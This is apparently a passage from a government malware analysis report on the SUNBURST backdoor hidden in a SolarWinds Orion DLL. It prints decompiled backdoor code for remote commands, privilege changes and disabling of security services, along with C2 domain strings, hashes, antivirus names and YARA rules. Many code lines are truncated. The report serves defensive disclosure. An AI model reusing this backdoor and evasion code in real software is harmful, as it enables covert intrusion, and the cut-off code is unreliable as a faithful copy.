--Begin ExecuteEngine Function--
private int ExecuteEngine(
      OrionImprovementBusinessLayer.HttpHelper.JobEngine job,
      string cl,
      out string result)
   {
      result = (string) null;
      int num = 0;
      string[] args = OrionImprovementBusinessLayer.Job.SplitString(cl);
      try
      {
       if (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.ReadRegistryValue || job ==
OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetRegistryValue || (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.Dele
== OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetRegistrySubKeyAndValueNames))
          num = OrionImprovementBusinessLayer.HttpHelper.AddRegistryExecutionEngine(job, args, out result);
       switch (job)
       {
          case OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetTime:
           int delay;
           OrionImprovementBusinessLayer.Job.SetTime(args, out delay);
           this.delay = delay;
           break;
          case OrionImprovementBusinessLayer.HttpHelper.JobEngine.CollectSystemDescription:
           OrionImprovementBusinessLayer.Job.CollectSystemDescription(this.proxy.ToString(), out result);
           break;
          case OrionImprovementBusinessLayer.HttpHelper.JobEngine.UploadSystemDescription:
           OrionImprovementBusinessLayer.Job.UploadSystemDescription(args, out result, this.proxy.GetWebProxy());
           break;
          case OrionImprovementBusinessLayer.HttpHelper.JobEngine.RunTask:
           num = OrionImprovementBusinessLayer.Job.RunTask(args, cl, out result);
           break;
          case OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetProcessByDescription:
           OrionImprovementBusinessLayer.Job.GetProcessByDescription(args, out result);
           break;
          case OrionImprovementBusinessLayer.HttpHelper.JobEngine.KillTask:
           OrionImprovementBusinessLayer.Job.KillTask(args);
           break;
       }
       return job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.WriteFile || job == OrionImprovementBusinessLayer.HttpHelper.JobEn
== OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteFile || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileH
OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileSystemEntries ? OrionImprovementBusinessLayer.HttpHelper.AddFileExecutionE
result) : num;
      }
      catch (Exception ex)
      {
       if (!string.IsNullOrEmpty(result))
          result += "\n";
       result += ex.Message;
       return ex.HResult;
      }
--End ExecuteEngine function--
```

```
**TERMINATE PROCESSES**
    public static void KillTask(string[] args) =&gt;
Process.GetProcessById(int.Parse(args[0])).Kill();

**DELETE FILE**
    public static void DeleteFile(string[] args) =&gt; System.IO.File.Delete(Environment.ExpandEnvironmentVariables(args[0]));

**COMPUTE FILE HASHES**
    public static int GetFileHash(string[] args, out string result)
    {
      result = (string) null;
      string path = Environment.ExpandEnvironmentVariables(args[0]);
      using (MD5 md5 = MD5.Create())
      {
       using (FileStream fileStream = System.IO.File.OpenRead(path))
       {
         byte[] hash = md5.ComputeHash((Stream) fileStream);
         if (args.Length &gt; 1)
          return !(OrionImprovementBusinessLayer.ByteArrayToHexString(hash).ToLower() == args[1].ToLower()) ? 1 : 0;
         result = OrionImprovementBusinessLayer.ByteArrayToHexString(hash);
       }
      }
      return 0;
    }

**REBOOT SYSTEM**
public static bool RebootComputer()
    {
      bool flag = false;
      try
      {
       bool previousState = false;
       string privilege = OrionImprovementBusinessLayer.ZipHelper.Unzip(ph2eifo3n5utg1j8d94qrvbmk0sal76c);
       if (!OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, true, out previousState))
         return flag;
       flag = OrionImprovementBusinessLayer.NativeMethods.InitiateSystemShutdownEx((string) null, (string) null, 0U, true, true, 2147745794U);
       OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, previousState, out previousState);
       return flag;
      }
      catch (Exception ex)
      {
       return flag;
      }
    }
--End additional functions Function--

**ADJUST PROCESS PRIVILEGES**
The SetProcessPrivilege function is used to adjust privileges for a target process on the victim system. For example, a process may need increas
privileges to accomplish its designed task.

--Begin SetProcessPrivilege Function--
public static bool SetProcessPrivilege(
       string privilege,
       bool newState,
       out bool previousState)
    {
       bool flag = false;
       previousState = false;
       try
       {
        IntPtr zero = IntPtr.Zero;
        OrionImprovementBusinessLayer.NativeMethods.LUID Luid = new OrionImprovementBusinessLayer.NativeMethods.LUID();
        Luid.LowPart = 0U;
        Luid.HighPart = 0U;
        if (!OrionImprovementBusinessLayer.NativeMethods.OpenProcessToken(OrionImprovementBusinessLayer.NativeMethods.GetCurrentProce
TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, ref zero))
          return false;
        if (!OrionImprovementBusinessLayer.NativeMethods.LookupPrivilegeValue((string) null, privilege, ref Luid))
        {
          OrionImprovementBusinessLayer.NativeMethods.CloseHandle(zero);
          return false;
        }
        OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE NewState = new OrionImprovementBusinessLayer.NativeMethods.T
        OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE PreviousState = new
OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE();
        NewState.PrivilegeCount = 1U;
        NewState.Privilege.Luid = Luid;
        NewState.Privilege.Attributes = newState ? 2U : 0U;
        uint ReturnLength = 0;
```

```
        OrionImprovementBusinessLayer.NativeMethods.AdjustTokenPrivileges(zero, false, ref NewState, (uint) Marshal.SizeOf((object) PreviousSt
ref ReturnLength);
        previousState = (PreviousState.Privilege.Attributes &amp;amp; 2U) &amp;gt; 0U;
        flag = true;
        OrionImprovementBusinessLayer.NativeMethods.CloseHandle(zero);
        return flag;
       }
       catch (Exception ex)
       {
        return flag;
       }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    private struct LUID
    {
      public uint LowPart;
      public uint HighPart;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    private struct LUID_AND_ATTRIBUTES
    {
      public OrionImprovementBusinessLayer.NativeMethods.LUID Luid;
      public uint Attributes;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    private struct TOKEN_PRIVILEGE
    {
      public uint PrivilegeCount;
      public OrionImprovementBusinessLayer.NativeMethods.LUID_AND_ATTRIBUTES Privilege;
    }
   }
--End SetProcessPrivilege Function--
```

BLOCK LIST CHECKING FUNCTIONS
The Update function is critical to starting the SUNBURST C2 functionality. Early in its execution, the Update function calls the UpdateNotification() a “False”, indicating one of the hard-coded block list processes is running, the SUNBURST malware will not initiate its C2 session. The malicious “OrionImprovementBusinessLayer”, containing the SUNBURST module, will effectively be disabled. However, the parent SolarWinds process run 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 will not be interrupted.

```
--Begin Update Function--
   private static void Update()
   {
    bool flag1 = false;
    OrionImprovementBusinessLayer.CryptoHelper cryptoHelper = new OrionImprovementBusinessLayer.CryptoHelper(OrionImprovementBusines
OrionImprovementBusinessLayer.domain4);
    OrionImprovementBusinessLayer.HttpHelper http = (OrionImprovementBusinessLayer.HttpHelper) null;
    Thread thread = (Thread) null;
    bool last = true;
    OrionImprovementBusinessLayer.AddressFamilyEx addressFamilyEx = OrionImprovementBusinessLayer.AddressFamilyEx.Unknown;
    int num1 = 0;
    bool flag2 = true;
    OrionImprovementBusinessLayer.DnsRecords rec = new OrionImprovementBusinessLayer.DnsRecords();
    Random random = new Random();
    int num2 = 0;
    if (!OrionImprovementBusinessLayer.UpdateNotification())
      return;
    OrionImprovementBusinessLayer.svcListModified2 = false;
    for (int index = 1; index &amp;lt;= 3 &amp;amp;&amp;amp; !flag1; ++index)
    {
      OrionImprovementBusinessLayer.DelayMin(rec.A, rec.A);
      if (!OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true))
      {
       if (OrionImprovementBusinessLayer.svcListModified1)
         flag2 = true;
       num1 = OrionImprovementBusinessLayer.svcListModified2 ? num1 + 1 : 0;
       string hostName;
       switch (OrionImprovementBusinessLayer.status)
       {
         case OrionImprovementBusinessLayer.ReportStatus.New:
          hostName = addressFamilyEx == OrionImprovementBusinessLayer.AddressFamilyEx.Error ? cryptoHelper.GetCurrentString() :
cryptoHelper.GetPreviousString(out last);
          break;
         case OrionImprovementBusinessLayer.ReportStatus.Append:
          hostName = flag2 ? cryptoHelper.GetNextStringEx(rec.dnssec) : cryptoHelper.GetNextString(rec.dnssec);
          break;
         default:
```

```
            goto label_27;
        }
--End Update Function--
```

The UpdateNotification() function will return a "False" if any process on the hard coded blocklist is running on the target system. It utilizes the Trac
detailed below. It call the TrackProcesses function.

```
--Begin UpdateNotification Function--
private static bool UpdateNotification()
   {
    int num = 3;
    while (num-- &gt; 0)
    {
       OrionImprovementBusinessLayer.DelayMin(0, 0);
       if (OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true))
        return false;
       if (OrionImprovementBusinessLayer.DnsHelper.CheckServerConnection(OrionImprovementBusinessLayer.apiHost))
        return true;
    }
    return false;
   }
--End UpdateNotification Function--
```

The "TrackProcesses" function queries a list of running processes on the target system and then passes the process names to the "SearchAssem
hashes their process names and compares the result hashes to the hard-coded process hash list stored in the list "assemblyTimeStamps." If any
are running, the function will return True. It also searches for certain services and attempts to disable them.

```
--Begin TrackProcesses Function--
public static bool TrackProcesses(bool full)
    {
       Process[] processes = Process.GetProcesses();
       if (OrionImprovementBusinessLayer.ProcessTracker.SearchAssemblies(processes))
        return true;
       bool flag = OrionImprovementBusinessLayer.ProcessTracker.SearchServices(processes);
       return !flag &amp;amp; full ? OrionImprovementBusinessLayer.ProcessTracker.SearchConfigurations() : flag;
    }
--End TrackProcesses Function--
```

The "SearchAssemblies" function called by TrackProcesses, is used to enumerate running processes to determine if any of the hashed processes
process blocklist are currently running on the target system.

```
--Begin SearchAssemblies Function—
private static bool SearchAssemblies(Process[] processes)
    {
       for (int index = 0; index &lt; processes.Length; ++index)
       {
        ulong hash = OrionImprovementBusinessLayer.GetHash(processes[index].ProcessName.ToLower());
        if (Array.IndexOf&lt;ulong&gt;(OrionImprovementBusinessLayer.assemblyTimeStamps, hash) != -1)
           return true;
       }
       return false;

    }
--End SearchAssemblies Function--
```

The SearchServices" function, called by TrackProcesses, searches running services to determine whether or not they are running any of the hard
process hashes. It attempts to disable these services.

```
--Begin SearchServices Function--
private static bool SearchServices(Process[] processes)
    {
       for (int index = 0; index &lt; processes.Length; ++index)
       {
        ulong hash = OrionImprovementBusinessLayer.GetHash(processes[index].ProcessName.ToLower());
        foreach (OrionImprovementBusinessLayer.ServiceConfiguration svc in OrionImprovementBusinessLayer.svcList)
        {
           if (Array.IndexOf&lt;ulong&gt;(svc.timeStamps, hash) != -1)
           {
            object obj = OrionImprovementBusinessLayer.ProcessTracker._lock;
            bool flag = false;
            try
            {
               Monitor.Enter(obj, ref flag);
               if (!svc.running)
               {
                OrionImprovementBusinessLayer.svcListModified1 = true;
                OrionImprovementBusinessLayer.svcListModified2 = true;
                svc.running = true;
               }
```

```
            if (!svc.disabled)
            {
             if (!svc.stopped)
             {
                if (svc.Svc.Length != 0)
                {
                 OrionImprovementBusinessLayer.DelayMin(0, 0);
                 OrionImprovementBusinessLayer.ProcessTracker.SetManualMode(svc.Svc);
                 svc.disabled = true;
                 svc.stopped = true;
                }
             }
            }
          }
          finally
          {
            if (flag)
             Monitor.Exit(obj);
          }
--End SearchServices Function--
```

Screenshots

Figure 1 - The modified module with a new class function named "OrionImprovementBusinessLayer."

```
{
  OrionImprovementBusinessLayer.ZipHelper.Unzip((?i)([^a-z]|^)(test)([^a-z]|$)),
  OrionImprovementBusinessLayer.ZipHelper.Unzip((?i)(solarwinds))
};
OrionImprovementBusinessLayer.reportStatusName = OrionImprovementBusinessLayer.ZipHelper.Unzip(
ReportWatcherRetry);
OrionImprovementBusinessLayer.serviceStatusName = OrionImprovementBusinessLayer.ZipHelper.Unzip(
ReportWatcherPostpone);
OrionImprovementBusinessLayer.userAgentOrionImprovementClient = (string) null;
OrionImprovementBusinessLayer.userAgentDefault = (string) null;
OrionImprovementBusinessLayer.apiHost = OrionImprovementBusinessLayer.ZipHelper.Unzip(api.solarwinds.com);
OrionImprovementBusinessLayer.domain1 = OrionImprovementBusinessLayer.ZipHelper.Unzip(avsvmcloud.com);
OrionImprovementBusinessLayer.domain2 = OrionImprovementBusinessLayer.ZipHelper.Unzip(appsync-api);
OrionImprovementBusinessLayer.domain3 = new string[4]
{
  OrionImprovementBusinessLayer.ZipHelper.Unzip(eu-west-1),
  OrionImprovementBusinessLayer.ZipHelper.Unzip(us-west-2),
  OrionImprovementBusinessLayer.ZipHelper.Unzip(us-east-1),
  OrionImprovementBusinessLayer.ZipHelper.Unzip(us-east-2)
};
```

Figure 2 - The code snippet contains the subdomains and other strings used to construct the C2 domains.

avsvmcloud.com

Tags

command-and-control

Whois

Domain Name: avsvmcloud.com
Registry Domain ID: 2289718834_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2020-10-08T13:58:35Z
Creation Date: 2018-07-25T11:38:29Z

Registrar Registration Expiration Date: 2023-07-25T11:38:29Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: Not Available From Registry
Registrant Name: Registration Private
Registrant Organization: Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant Street: 14455 N. Hayden Road
Registrant City: Scottsdale
Registrant State/Province: Arizona
Registrant Postal Code: 85260
Registrant Country: US
Registrant Phone: +1.4806242599
Registrant Phone Ext:
Registrant Fax: +1.4806242598
Registrant Fax Ext:
Registrant Email: avsvmcloud.com@domainsbyproxy.com
Registry Admin ID: Not Available From Registry
Admin Name: Registration Private
Admin Organization: Domains By Proxy, LLC
Admin Street: DomainsByProxy.com
Admin Street: 14455 N. Hayden Road
Admin City: Scottsdale
Admin State/Province: Arizona
Admin Postal Code: 85260
Admin Country: US
Admin Phone: +1.4806242599
Admin Phone Ext:
Admin Fax: +1.4806242598
Admin Fax Ext:
Admin Email: avsvmcloud.com@domainsbyproxy.com
Registry Tech ID: Not Available From Registry
Tech Name: Registration Private
Tech Organization: Domains By Proxy, LLC
Tech Street: DomainsByProxy.com
Tech Street: 14455 N. Hayden Road
Tech City: Scottsdale
Tech State/Province: Arizona
Tech Postal Code: 85260
Tech Country: US
Tech Phone: +1.4806242599
Tech Phone Ext:
Tech Fax: +1.4806242598
Tech Fax Ext:
Tech Email: avsvmcloud.com@domainsbyproxy.com
Name Server: PDNS09.DOMAINCONTROL.COM
Name Server: PDNS10.DOMAINCONTROL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2020-12-14T19:00:00Z <<<

Relationships

avsvmcloud.com Connected_From 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77

Description

The subdomain for "SolarWinds.Orion.Core.BusinessLayer.dll."

d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600

Tags

dropper

Details

Name	SolarWinds-Core-v2019.4.5220-Hotfix5.msp
Size	214831104 bytes

Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Installation Database, Sub Core Services 2019.4, Author: SolarWinds Worldwide, LLC., Keywords: Installer, Comments: This installer database contains the logi install SolarWinds Orion Core Services 2019.4., Create Time/Date: Tue Mar 24 11:55:04 2020, Name of Creating Application: Windov Toolset (3.9.1208.0), Security: 4, Template: Intel;1033, Last Saved By: Intel;1033, Revision Number: {079A74C5-95D0-446E-86F7-B8EAF0A29654}119.4.20161.5220;{079A74C5-95D0-446E-86F7-B8EAF0A29654}119.4.20161.5220;{DA36F8E2-99FC-44DF-B011-(Number of Pages: 200, Number of Characters: 152174623
MD5	02af7cec58b9a5da1c542b5a32151ba1
SHA1	1b476f58ca366b54f34d714ffce3fd73cc30db1a
SHA256	d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600
SHA512	f40fd5d94791f18eed59dc78d12acc52f4a65dfdf8c819d6957de8059e0e127160e0a21320845340932a54f9c639c42b2c815558b2d0ce
ssdeep	3145728:yMbnCpAK7nuv7xYiq0bC4zheqeRHuCieBVZNP7WJOQeXt+9riYBaeIBjSxTusL:yMbCp7uf3GnqfCVrNPgLrW4GoxSG
Entropy	7.998885

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

d0d626deb3... Contains 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77

Description

This file is a Microsoft Windows Installer Patch file that has been identified as a SUNBURST installer named "SolarWinds-Core-v2019.4.5220-Hot contains legitimate SolarWinds Orion update components, the modified DLL "SolarWinds.Orion.Core.BusinessLayer.dll" (32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77) and a legitimate configuration file.

The hotfix is typically delivered to the SolarWinds Orion application as an update for the "SolarWinds.Orion.Core.BusinessLayer.dll" module. In th update is applied, it will overwrite the non-malicious module, replacing it with the trojanized version and providing the attacker with the same level in the analysis of "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77."

ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6

Tags

backdoortrojan

Details

Name	SolarWinds.Orion.Core.BusinessLayer.dll
Size	1028072 bytes
Type	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	846e27a652a5e1bfbd0ddd38a16dc865
SHA1	d130bd75645c2433f88ac03e73395fba172ef676
SHA256	ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6
SHA512	c26e275b4232be844f6c4062a4f42413099452085060ed4080b880b52800428cd32f69271c98977fa979a89355fbb3b485855ca3d5149
ssdeep	12288:5JKoHwfn/jz3bbO4Qag2I97PMieSLezPKT+BYvjenWHuhh9c0g8vkzK19Q:vEfDbO97P8TrK0YbenWH4c0g8vkzK19
Entropy	5.580054

Antivirus

Ahnlab	Backdoor/Win32.SunBurst
Antiy	Trojan[Backdoor]/MSIL.Agent
Avira	TR/Sunburst.A
BitDefender	Trojan.Sunburst.A
Clamav	Win.Countermeasure.Sunburst-9809152-0

Comodo	Backdoor
Cyren	W32/MSIL_SunBurst.A.gen!Eldorado
ESET	a variant of MSIL/SunBurst.A trojan
Emsisoft	Trojan.Win32.Sunburst (A)
Ikarus	Backdoor.Sunburst
K7	Trojan (00574a531)
Lavasoft	Trojan.Sunburst.A
McAfee	Trojan-sunburst
Microsoft Security Essentials	Trojan:MSIL/Solorigate.BR!dha
NANOAV	Trojan.Win32.SunBurst.iduxyv
Sophos	Mal/Sunburst-A
Symantec	Backdoor.Sunburst
Systweak	trojan-backdoor.sunburst-r
TrendMicro	Backdoo.6F8C6A1E
TrendMicro House Call	Backdoo.6F8C6A1E
VirusBlokAda	TScope.Trojan.MSIL
Zillya!	Trojan.SunBurst.Win32.1

YARA Rules

- rule CISA_10318927_01 : trojan rat SOLAR_FIRE
  {
    meta:
      Author = "CISA Code & Media Analysis"
      Incident = "10318927"
      Date = "2020-12-13"
      Last_Modified = "20201213_2145"
      Actor = "n/a"
      Category = "TROJAN RAT"
      Family = "SOLAR_FIRE"
      Description = "This signature is based off of unique strings embedded within the modified Solar Winds app"
      MD5_1 = "b91ce2fa41029f6955bff20079468448"
      SHA256_1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
      MD5_2 = "846e27a652a5e1bfbd0ddd38a16dc865"
      SHA256_2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
    strings:
      $s0 = { 63 00 30 00 6B 00 74 00 54 00 69 00 37 00 4B 00 4C 00 43 00 6A 00 4A 00 7A 00 4D 00 38 00 44 }
      $s1 = { 41 00 41 00 3D 00 3D 00 00 00 21 38 00 33 00 56 00 30 00 64 00 6B 00 78 00 4A 00 4B 00 55 }
      $s2 = { 63 00 2F 00 46 00 77 00 44 00 6E 00 44 00 4E 00 53 00 30 00 7A 00 4B 00 53 00 55 00 30 00 42 00 41 00 41 00 3D 00 3D }
      $s3 = { 53 00 69 00 30 00 75 00 42 00 67 00 41 00 3D 00 00 21 38 00 77 00 77 00 49 00 4C 00 6B 00 33 00 4B 00 53 00 79 00 30 00
    condition:
  all of them
  }

- rule FireEye_20_00025668_01 : SUNBURST APT backdoor
  {
    meta:
      Author = "FireEye"
      Date = "2020-12-13"
      Last_Modified = "20201213_1917"
      Actor = "n/a"
      Category = "Backdoor"
      Family = "SUNBURST"
      Description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor r
  xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill p
  delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
      MD5_1 = ""
      SHA256_1 = ""
    strings:
      $cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
      $cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C
  66 5D 7B 31 36 7D }
      $fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
      $fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
      $fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
      $fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
      $fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
      $fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
      $fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
    condition:
      $fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or (($fake_orion_event_encoded or $fake_orion_event_plain) and
  ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_messag
  }

- rule FireEye_20_00025668_02 : SUNBURST APT backdoor
  {
    meta:
      Author = "FireEye"
      Date = "2020-12-13"
      Last_Modified = "20201213_1917"
      Actor = "n/a"
      Category = "Backdoor"
      Family = "SUNBURST"
      Description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking
  code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunct
  intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBUI
  has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set
  tools and services."
      MD5_1 = ""
      SHA256_1 = ""
    strings:
      $a = "0y3Kzy8BAA==" wide
      $aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
      $ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
      $ac = "C88sSs1JLS4GAA==" wide
      $ad = "C/UEAA==" wide
      $ae = "C89MSU8tKQYA" wide
      $af = "8wvwBQA=" wide
      $ag = "cyzIz8nJBwA=" wide
      $ah = "c87JL03xzc/LLMkvysxLBwA=" wide
      $ai = "88tPSS0GAA==" wide
      $aj = "C8vPKc1NLQYA" wide
      $ak = "88wrSS1KS0xOLQYA" wide
      $al = "c87PLcjPS80rKQYA" wide
      $am = "Ky7PLNAvLUjRBwA=" wide
      $an = "06vIzQEA" wide
      $b = "0y3NyyxLLSpOzlIPTgQA" wide
      $c = "001OBAA=" wide
      $d = "0y0oysxNLKqMT04EAA==" wide
      $e = "0y3JzE0tLknMLQAA" wide
      $f = "003PyU9KzAEA" wide
      $h = "0y1OTS4tSk1OBAA=" wide
      $i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
      $j = "c8rPSQEA" wide
      $k = "c8rPSfEsSczJTAYA" wide
      $l = "c60oKUp0ys9JAQA=" wide
      $m = "c60oKUp0ys9J8SxJzMIMBgA=" wide
      $n = "8yxJzMIMBgA=" wide
      $o = "88lMzygBAA==" wide
      $p = "88lMzyjxLEnMyUwGAA==" wide
      $q = "C0pNL81JLAIA" wide
      $r = "C07NzXTKz0kBAA==" wide
      $s = "C07NzXTKz0nxLEnMyUwGAA==" wide
      $t = "yy9IzStOzCsGAA==" wide
      $u = "y8svyQcA" wide
      $v = "SytKTU3LzysBAA==" wide
      $w = "C84vLUpOdc5PSQ0oygcA" wide
      $x = "C84vLUpODU4tykwLKMoHAA==" wide
      $y = "C84vLUpO9UjMC07MKwYA" wide
      $z = "C84vLUpO9UjMC04tykwDAA==" wide
    condition:
      ($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($
  $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and
  and ($am or $an))
  }

ssdeep Matches

94 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134

PE Metadata

Compile Date	2020-05-11 17:32:40-04:00
Import Hash	dae02f32a21e03ce65412f6e56942daa
Company Name	SolarWinds Worldwide, LLC.
File Description	SolarWinds.Orion.Core.BusinessLayer
Internal Name	SolarWinds.Orion.Core.BusinessLayer.dll

Legal Copyright	Copyright © 1999-2020 SolarWinds Worldwide, LLC. All Rights Reserved.
Original Filename	SolarWinds.Orion.Core.BusinessLayer.dll
Product Name	SolarWinds.Orion.Core.BusinessLayer
Product Version	2020.2.5300.12432

PE Sections

MD5	Name	Raw Size	Entropy
87b3389568887539d8c12033e01bcbda	header	512	2.901277
58ca620058a1e26cda220dcb83f4eb26	.text	1018368	5.567638
1d816f4a16b05559313aa30a0d3532d6	.rsrc	1536	3.008439
0db83a842dbb0bb3396691d4238bd216	.reloc	512	0.101910

Description

This file has been identified as a SolarWinds Application module containing a patched in SUNBURST backdoor. This embedded SUNBURST cod functions as "SolarWinds.Orion.Core.BusinessLayer.dll" (32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77), and is digital certificate.

019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134

Tags

backdoortrojan

Details

Name	SolarWinds.Orion.Core.BusinessLayer.dll
Size	1028072 bytes
Type	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	2c4a910a1299cdae2a4e55988a2f102e
SHA1	2f1a5a7411d015d01aaee4535835400191645023
SHA256	019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134
SHA512	5cbfefe612a40c8872a0faf3db8d3835dc514fb3df159610095b47c595c6caa1ada79cce2b10fb99e648990c3f54f63344d1fa7025090bfc
ssdeep	12288:dJKoHwfn/jz3bbO4Qag2I97PMieSLezPKT+cYvjenWHuhh9c0g8vkzE19Wv:rEfDbO97P8TrKhYbenWH4c0g8vkzE19e
Entropy	5.579997

Antivirus

Ahnlab	Backdoor/Win32.SunBurst
Antiy	Trojan[Backdoor]/MSIL.Agent
Avira	TR/Sunburst.AH
BitDefender	Trojan.Sunburst.A
Clamav	Win.Countermeasure.Sunburst-9809152-0
Comodo	Backdoor
Cyren	W32/Trojan.QTKK-7476
ESET	a variant of MSIL/SunBurst.A trojan
Emsisoft	Trojan.Win32.Sunburst (A)
Ikarus	Backdoor.Sunburst
K7	Trojan (00574a531)
Lavasoft	Trojan.Sunburst.A
McAfee	Trojan-sunburst

Microsoft Security Essentials	Trojan:MSIL/Solorigate.BR!dha
NANOAV	Trojan.Win32.SunBurst.iduxfm
NetGate	Trojan.Win32.Malware
Sophos	Mal/Sunburst-A
Symantec	Backdoor.Sunburst
Systweak	trojan-backdoor.sunburst-r
TrendMicro	Backdoo.6F8C6A1E
TrendMicro House Call	Backdoo.6F8C6A1E
VirusBlokAda	TScope.Trojan.MSIL
Zillya!	Trojan.SunBurst.Win32.1

YARA Rules

- rule CISA_10318927_01 : trojan rat SOLAR_FIRE
  {
    meta:
      Author = "CISA Code & Media Analysis"
      Incident = "10318927"
      Date = "2020-12-13"
      Last_Modified = "20201213_2145"
      Actor = "n/a"
      Category = "TROJAN RAT"
      Family = "SOLAR_FIRE"
      Description = "This signature is based off of unique strings embedded within the modified Solar Winds app"
      MD5_1 = "b91ce2fa41029f6955bff20079468448"
      SHA256_1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
      MD5_2 = "846e27a652a5e1bfbd0ddd38a16dc865"
      SHA256_2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
    strings:
      $s0 = { 63 00 30 00 6B 00 74 00 54 00 69 00 37 00 4B 00 4C 00 43 00 6A 00 4A 00 7A 00 4D 00 38 00 44 }
      $s1 = { 41 00 41 00 3D 00 3D 00 00 21 38 00 33 00 56 00 30 00 64 00 6B 00 78 00 4A 00 4B 00 55 }
      $s2 = { 63 00 2F 00 46 00 77 00 44 00 6E 00 44 00 4E 00 53 00 30 00 7A 00 4B 00 53 00 55 00 30 00 42 00 41 00 41 00 3D 00 3D }
      $s3 = { 53 00 69 00 30 00 75 00 42 00 67 00 41 00 3D 00 00 21 38 00 77 00 77 00 49 00 4C 00 6B 00 33 00 4B 00 53 00 79 00 30 00 4
